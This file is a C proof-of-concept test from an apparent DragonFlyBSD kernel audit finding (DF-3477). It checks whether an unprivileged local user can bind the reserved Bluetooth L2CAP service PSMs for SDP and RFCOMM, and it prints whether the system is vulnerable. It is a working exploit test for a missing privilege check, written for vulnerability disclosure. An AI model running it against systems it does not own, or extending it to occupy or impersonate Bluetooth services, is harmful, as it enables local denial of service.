⬢ DragonFlyBSD Kernel Audit
DF-3477 / df3477_bind.c
← back to finding ↓ download raw
/*
 * DF-3477 — ng_btsocket_l2cap_bind() has no privilege check and no PSM
 * range restriction: an unprivileged local user can bind (occupy) any
 * L2CAP PSM, including the assigned/reserved service PSMs 1 (SDP) and
 * 3 (RFCOMM), on a system with the ng_btsocket module loaded.
 *
 * Expected (vulnerable): socket()+bind() succeed for uid != 0.
 * Expected (fixed):      bind() returns EACCES/EPERM for privileged PSMs
 *                        (or the socket() itself is restricted).
 *
 * build: cc -o df3477_bind df3477_bind.c
 * run:   ./df3477_bind          (as unprivileged user)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#define AF_BT		33
#define PROTO_L2CAP	135

struct sockaddr_l2cap_bt {
	u_char	l2cap_len;
	u_char	l2cap_family;
	u_short	l2cap_psm;	/* little-endian on the wire */
	u_char	l2cap_bdaddr[6];
};

static int
bind_psm(u_short psm_le)
{
	struct sockaddr_l2cap_bt sa;
	int fd, r;

	fd = socket(AF_BT, SOCK_SEQPACKET, PROTO_L2CAP);
	if (fd < 0) {
		printf("socket(SOCK_SEQPACKET, L2CAP): %s\n", strerror(errno));
		return (-1);
	}
	memset(&sa, 0, sizeof(sa));
	sa.l2cap_len = sizeof(sa);
	sa.l2cap_family = AF_BT;
	sa.l2cap_psm = psm_le;		/* PSM 1 = SDP, PSM 3 = RFCOMM */
	r = bind(fd, (struct sockaddr *)&sa, sizeof(sa));
	printf("uid=%d bind(psm=%u) -> %s\n", getuid(),
	    (unsigned)(psm_le & 0xff), r == 0 ? "SUCCESS" : strerror(errno));
	return (r == 0 ? fd : -1);
}

int
main(void)
{
	int fd1, fd2;

	printf("DF-3477: unprivileged L2CAP PSM bind test (uid=%d)\n", getuid());
	if (getuid() == 0)
		printf("WARNING: running as root, drop privileges first for a "
		    "meaningful test\n");

	/* PSM 1 = Service Discovery (assigned, privileged service) */
	fd1 = bind_psm(0x0001);
	/* PSM 3 = RFCOMM (assigned, privileged service) */
	fd2 = bind_psm(0x0003);

	if (fd1 >= 0 || fd2 >= 0) {
		printf("RESULT: VULNERABLE — unprivileged user occupied a "
		    "reserved L2CAP service PSM\n");
	} else {
		printf("RESULT: not demonstrated (bind failed for both)\n");
	}
	/* second bind of same PSM to show occupation semantics */
	if (fd1 >= 0)
		bind_psm(0x0001);
	return (0);
}